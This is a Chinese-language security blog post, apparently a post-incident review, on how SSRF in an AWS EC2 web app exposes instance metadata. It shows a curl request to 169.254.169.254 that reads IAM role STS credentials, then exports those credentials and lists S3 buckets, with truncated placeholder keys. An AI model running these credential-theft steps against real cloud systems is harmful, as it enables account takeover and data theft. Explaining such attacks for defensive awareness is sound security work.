欢迎访问 内存溢出 —— 独立后端与系统工程技术博客

专注于分布式系统、Linux内核、数据库存储与后端工程实践

云计算元数据服务风险:SSRF 穿透与 AWS STS 凭据盗取复盘

发表于:|最后更新:|分类:云安全|阅读:7830 次
本文标签:SSRFAWSIAM凭据泄露

当部署在 AWS EC2 上的 Web 应用存在 SSRF 漏洞且未加固时,攻击者可远程读取元数据地址提取临时角色的 AccessKeyId、SecretAccessKey 和 Token,进而利用 CLI 横向渗透接管云资产。

一、攻击者提取 STS 凭据示例

bash
# 攻击者通过 SSRF 获取临时 STS Token
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/WebServerRole

# 响应载荷:
# {
#   "AccessKeyId" : "ASIA...",
#   "SecretAccessKey" : "wJalrXUtn...",
#   "Token" : "AQoDYXdz...",
#   "Expiration" : "2026-11-01T12:00:00Z"
# }

# 攻击者本地配置环境变量进行 API 调用
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="wJalrXUtn..."
export AWS_SESSION_TOKEN="AQoDYXdz..."
aws s3 ls # 获取敏感存储桶资产